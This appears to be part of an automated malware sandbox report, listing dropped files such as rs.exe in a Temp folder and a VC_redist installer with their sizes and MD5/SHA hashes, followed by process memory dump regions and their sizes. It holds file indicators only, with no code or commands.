8b538ba4379bf9a2123598d12b462405

SHA1
4fe88b0884aceaafe39b5331e80ebdd79b9318f8

SHA256
5ab50ddbd5e7867165b45dfa286439182da73c890eece7c5c6cb88516f558b8e

SHA512
9367379cad1cbc79c6bd71a275bde1cb811d0b1cf6fa7cea2dcbf1d8ee7d8b9cddebecf9c01260d88be5031c110d1c9bfe9802ff955ea954afd4394db5f21e65

Download Submit
C:\Users\Admin\AppData\Local\Temp\rs.exe

Filesize
150KB

MD5
05e66a8a1e88a1f7d5b1e1151e32a044

SHA1
7cbf43b3f84192dd3f1732f0ba4bac26091a087f

SHA256
1cbe48b252d34720ab7be41921e717042a25629e5988ae944dff396a8cffa3f7

SHA512
24bda866eb0a1e0366dbd0072b33dc456b7839142195618f4170f7144141e4963b3040c35acf0e4c7dc130089863668bcfb707d95f42276b0f2bd7e4506de042

Download Submit
C:\Users\Admin\AppData\Local\Temp\rs.exe

Filesize
178KB

MD5
62b68f1ea3cd4e141b30909487b7fb1f

SHA1
ddb35fa6cd3a2787f385599cbe78079550807374

SHA256
c66450290213a768ff83d37c1848735a656c571e30e508498091a7d310a3ba77

SHA512
e1763319f5a8b47ca525928259d90dd18be0ab3ea68efdddfeaaf5feec3ac08793fd78e8fa802bdaa212f4e75a8d105af2b25646accc4ede279aa188b208fc86

Download Submit
C:\Windows\System32\catroot2\dberr.txt

Filesize
1KB

MD5
b92ade0c7f73e15257c826c402302ae2

SHA1
0c37b227a9950be03aec20de5a4bd55f15107341

SHA256
97c5053f22da5d87200c16363ce91fc0d7c8415620009c5f2f74b32892afba3e

SHA512
0bdcbe68750baddff8e5618fea035f71efd2beeae975a9ff7222ea02a6dff1e653eea35f1c71c13c8ea5967e5ee1dcb4716506c7f6fd509aa119f777d6b0331f

Download Submit
C:\Windows\Temp\{E30C5591-9DCD-4710-819C-A055F0DB7D56}\.ba\logo.png

Filesize
1KB

MD5
d6bd210f227442b3362493d046cea233

SHA1
ff286ac8370fc655aea0ef35e9cf0bfcb6d698de

SHA256
335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef

SHA512
464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b

Download Submit
C:\Windows\Temp\{E30C5591-9DCD-4710-819C-A055F0DB7D56}\.be\VC_redist.x86.exe

Filesize
57KB

MD5
c970f24d31c3be5e60698a248251b2b3

SHA1
41840b2e13ca141c922d5d70d4f7223b371ed2dc

SHA256
2f0fa4215e1505f36166dd9f483f7a1d494bc246fe6168e0c1fdf4b10ddf5669

SHA512
c6e7dcd157ac1104b95513c22be42d42def4aa15b7f0511f437474c8e2ea6ec6eba1f1c6ea09debb043fa22f9035493f80f34ebcf8d6eaa28baa3b6c50085173

Download Submit
memory/544-279-0x00007FFF460F0000-0x00007FFF46BB1000-memory.dmp

Filesize
10.8MB

Download
memory/544-281-0x000002B278700000-0x000002B278710000-memory.dmp

Filesize
64KB

Download
memory/544-1486-0x00007FFF460F0000-0x00007FFF46BB1000-memory.dmp

Filesize
10.8MB

Download
memory/544-280-0x000002B278700000-0x000002B278710000-memory.dmp

Filesize
64KB

Download
memory/544-1158-0x00007FFF460F0000-0x00007FFF46BB1000-memory.dmp

Filesize
10.8MB

Download
memory/544-1160-0x000002B278700000-0x000002B278710000-memory.dmp

Filesize
64KB

Download
memory/544-1159-0x000002B278700000-0x000002B278710000-memory.dmp

Filesize
64KB

Download
memory/1080-1520-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1080-1608-0x0000000000400000-0x0000000000549000-memory.dmp

Filesize
1.3MB

Download
memory/1684-336-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/1684-291-0x00000000007B0000-0x00000000007B1000-memory.dmp

Filesize
4KB

Download
memory/1684-1169-0x00000000007B0000-0x00000000007B1000-memory.dmp

Filesize
4KB

Download
memory/1684-1483-0x0000000000400000-0x0000000000549000-memory.dmp

Filesize
1.3MB

Download
memory/1684-1477-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/1684-1070-0x0000000003350000-0x0000000003365000-memory.dmp

Filesize
84KB

Download
memory/1684-1407-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/1684-1168-0x0000000003350000-0x0000000003365000-memory.dmp

Filesize
84KB

Download
memory/1684-1479-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/1684-301-0x0000000003350000-0x0000000003365000-memory.dmp

Filesize
84KB

Download
memory/1684-1069-0x0000000000400000-0x0000000000549000-memory.dmp

Filesize
1.3MB

Download
memory/1684-333-0x0000000003D10000-0x0000000003E10000-memory.dmp

Filesize
1024KB

Download
memory/2036-1620-0x0000000000400000-0x0000000000499000-memory.dmp

Filesize
612KB

Download
memory/2036-995-0x0000000000400000-0x0000000000499000-memory.dmp

Filesize
612KB

Download
memory/2072-1515-0x00007FFF461A0000-0x00007FFF46C61000-memory.dmp

Filesize
10.8MB

Download
memory/2072-1517-0x00000277EF0C0000-0x00000277EF0D0000-memory.dmp

Filesize
64KB

Download
memory/2072-1613-0x00007FFF461A0000-0x00007FFF46C61000-memory.dmp

Filesize
10.8MB

Download
memory/2072-1516-0x00000277EF0C0000-0x00000277EF0D0000-memory.dmp

Filesize
64KB

Download
memory/2740-2572-0x00007FFF46A50000-0x00007FFF47511000-memory.dmp

Filesize
10.8MB

Download
memory/2740-2563-0x000001CCB62E0000-0x000001CCB62E6000-memory.dmp

Filesize
24KB

Download
memory/2744-1635-0x00007FFF46A50000-0x00007FFF47511000-memory.dmp

Filesize
10.8MB

Download
memory/2744-1633-0x0000014471410000-0x0000014471420000-memory.dmp

Filesize
64KB

Download
memory/2760-1056-0x00000000041C0000-0x00000000041C1000-memory.dmp

Filesize
4KB

Download
memory/2760-1052-0x0000000003780000-0x0000000003BC0000-memory.dmp

Filesize
4.2MB

Download
memory/2760-1057-0x00000000041C0000-0x00000000041C1000-memory.dmp

Filesize
4KB

Download
memory/2760-1054-0x0000000003BC0000-0x0000000003DC0000-memory.dmp

Filesize
2.0MB

Download
memory/2820-262-0x00007FFF460F0000-0x00007FFF46BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2820-263-0x00000208C66E0000-0x00000208C66F0000-memory.dmp

Filesize
64KB

Download
memory/2820-257-0x00000208C8E00000-0x00000208C8E22000-memory.dmp

Filesize
136KB

Download
memory/2820-264-0x00000208C66E0000-0x00000208C66F0000-memory.dmp

Filesize
64KB

Download
memory/2820-267-0x00007FFF460F0000-0x00007FFF46BB1000-memory.dmp

Filesize
10.8MB

Download
memory/2888-2308-0x0000000002F70000-0x0000000002F71000-memory.dmp

Filesize
4KB

Download
memory/2888-2336-0x0000000005A10000-0x0000000005A11000-memory.dmp

Filesize
4KB

Download
memory/3344-1068-0x0000000000400000-0x0000000000445000-memory.dmp

Filesize
276KB

Download
memory/3344-284-0x0000000000400000-0x0000000000445000-memory.dmp

Filesize
276KB

Download
memory/3344-287-0x0000000000400000-0x0000000000445000-memory.dmp

Filesize
276KB

Download
memory/3344-1484-0x0000000000400000-0x0000000000445000-memory.dmp

Filesize
276KB

Download
memory/4872-1526-0x0000000000700000-0x0000000000701000-memory.dmp

Filesize
4KB

Download
memory/4872-1611-0x0000000000400000-0x0000000000549000-memory.dmp

Filesize
1.3MB

Download
memory/4984-2532-0x000001F29C2C0000-0x000001F29C2D0000-memory.dmp

Filesize
64KB

Download